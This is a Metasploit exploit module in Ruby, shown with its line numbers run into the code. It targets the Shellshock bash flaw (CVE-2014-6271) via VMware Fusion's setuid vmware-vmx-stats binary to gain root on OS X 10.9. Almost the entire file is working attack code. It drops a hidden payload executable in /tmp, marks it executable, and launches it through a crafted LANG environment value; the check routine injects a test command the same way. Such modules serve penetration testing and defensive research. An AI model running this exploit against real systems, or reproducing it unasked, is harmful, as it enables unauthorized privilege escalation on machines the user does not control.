Path: blob/master/modules/exploits/osx/local/vmware_bash_function_root.rb
31476 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = NormalRanking78include Msf::Post::File9include Msf::Post::OSX::Priv10include Msf::Exploit::EXE11include Msf::Exploit::FileDropper1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'OS X VMWare Fusion Privilege Escalation via Bash Environment Code Injection (Shellshock)',18'Description' => %q{19This module exploits the Shellshock vulnerability, a flaw in how the Bash shell20handles external environment variables. This module targets the VMWare Fusion21application, allowing an unprivileged local user to get root access.22},23'License' => MSF_LICENSE,24'Author' => [25'Stephane Chazelas', # discovered the bash bug26'juken', # discovered the VMWare priv esc27'joev', # msf module28'mubix' # vmware-vmx-stats29],30'References' => [31[ 'CVE', '2014-6271' ],32[ 'CWE', '94' ],33[ 'OSVDB', '112004' ],34[ 'EDB', '34765' ]35],36'Platform' => 'osx',37'SessionTypes' => [ 'shell', 'meterpreter' ],38'Targets' => [39[40'Mac OS X 10.9 Mavericks x64 (Native Payload)',41{42'Platform' => 'osx',43'Arch' => ARCH_X6444}45]46],47'DefaultTarget' => 0,48'DisclosureDate' => '2014-09-24',49'Notes' => {50'AKA' => ['Shellshock'],51'Stability' => UNKNOWN_STABILITY,52'Reliability' => UNKNOWN_RELIABILITY,53'SideEffects' => UNKNOWN_SIDE_EFFECTS54}55)56)5758register_options [59OptString.new('VMWARE_PATH', [true, 'The path to VMware.app', '/Applications/VMware Fusion.app']),60]61register_advanced_options [62OptString.new('WritableDir', [true, 'Writable directory', '/tmp'])63]64end6566def base_dir67datastore['WritableDir'].to_s68end6970def upload(path, data)71print_status "Writing '#{path}' (#{data.size} bytes) ..."72write_file path, data73register_file_for_cleanup path74end7576def check77check_str = Rex::Text.rand_text_alphanumeric(5)78# ensure they are vulnerable to bash env variable bug79if cmd_exec("env x='() { :;}; echo #{check_str}' bash -c echo").include?(check_str) &&80cmd_exec("file '#{datastore['VMWARE_PATH']}'") !~ /cannot open/8182CheckCode::Vulnerable83else84CheckCode::Safe85end86end8788def exploit89if is_root?90fail_with Failure::BadConfig, 'Session already has root privileges'91end9293if check != CheckCode::Vulnerable94fail_with Failure::NotVulnerable, 'Target is not vulnerable'95end9697unless writable? base_dir98fail_with Failure::BadConfig, "#{base_dir} is not writable"99end100101payload_file = "#{base_dir}/.#{Rex::Text.rand_text_alpha_lower(8..12)}"102exe = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)103upload payload_file, exe104cmd_exec "chmod +x #{payload_file}"105106print_status 'Running VMWare services...'107path = '/Contents/Library/vmware-vmx-stats' # path to the suid binary108cmd_exec("LANG='() { :;}; #{payload_file}' '#{datastore['VMWARE_PATH']}#{path}' /dev/random")109end110end111112113